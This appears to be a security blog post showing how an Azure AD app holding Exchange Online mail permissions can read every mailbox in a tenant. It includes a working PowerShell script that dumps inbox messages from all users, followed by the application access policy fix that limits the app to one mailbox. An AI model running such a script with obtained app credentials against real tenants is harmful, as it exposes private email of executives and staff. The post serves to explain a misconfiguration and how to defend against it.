There are scenarios when a datacenter hosted app or a cloud hosted app needs access to one or more Exchange Online mailbox.
In such cases, typically an Azure AD app is created with permissions to read/write access to mailboxes/calendars and contacts.
Issue here is by default the access is provided for ALL the mailboxes. If an attacker gets holds of the app, the could potentially access emails from sensitive mailboxes and exfilter them.
The setup
The Azure AD app with mail.read/mail.send permissions.
The credential (secret) has been created for this app and used by a service app named “service1” .
The service1 app will read email from the mailbox service1.mailbox@redteamsimulation.com.
However, one can make use of the credentials for this Azure AD app to get emails from not only originally intended mailbox for the service but also sensitive mailboxes such as those of CEO and CFO as you can see in the below screenshot.
Code to get emails from all the mailboxes
Prerequisites : Install and import ExchangeOnlinemanagement module and Microsoft.Graph modules
Install-Module ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
Install-Module Microsoft.Graph
Import-Module Microsoft.Graph
# Import the required module
Import-Module Microsoft.Graph
$err_string= ''
# Set the necessary variables
$clientId = "7477abb4-xxxx-xxxx-xxxx-xxxxxx"
$tenantId = "c2b84b0b-xxxx-xxxx-xxxx-xxxxxxx"
$ClientSecretCredential = Get-Credential -Credential $clientId
# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $ClientSecretCredential -NoWelcome
# Get all users in the tenant
$users = Get-MgUser
# Loop through each user
foreach ($user in $users) {
# Get the user's mailbox
try {
$mailbox = Get-MgUserMailFolderMessage -UserId $user.Id -MailFolderId 'Inbox' -ErrorAction Stop
$test = $user.Mail
write-host "####### Reading emails for mailbox " -nonewline
write-host $test -foreground red -nonewline
write-host " ##########"
write-host "Found " -nonewline
write-host $mailbox.Length -foreground red -nonewline
write-host " email(s) "
foreach ($message in $mailbox) {
# Print the message subject and received date
Write-Output (" ----------------------------------------------------")
Write-Output ("Subject: " + $message.Subject)
Write-Output ("Received: " + $message.ReceivedDateTime)
$body = $message.Body.Content -replace '<[^>]+>',''
$body = $body.trim()
Write-Output ("Body: " + $body)
}
write-host "`n"
}
catch
{
$err_string = $_ | Out-String
}
if ($err_string -inotmatch "The mailbox is either inactive, soft-deleted, or is hosted on-premise")
{
Write-Host $err_string
}
}
# Disconnect from Microsoft Graph
Disconnect-MgGraph
Limiting access to only certain mailboxes
Below powershell will :
a) Create a mail-enabled security group with the mailbox we want to only allow to be accessed from the app.
b) Create an application access policy for the app with access restricted to only the mail enabled group created in step a)
$MailEnabledDistGroup=New-DistributionGroup -Name "Service1-RestrictedDistGroup" -Type "Security" -Members "service1.mailbox@redteamsimulation.com"
New-ApplicationAccessPolicy -AppId <AppId> -PolicyScopeGroupId $MailEnabledDistGroup.Id -AccessRight RestrictAccess -Description "Mailbox restrictions"
In my tests, the application access policy took effect in 60-90 minutes and after that accessing other mailboxes would give an error.
Below is the output running the same script as above.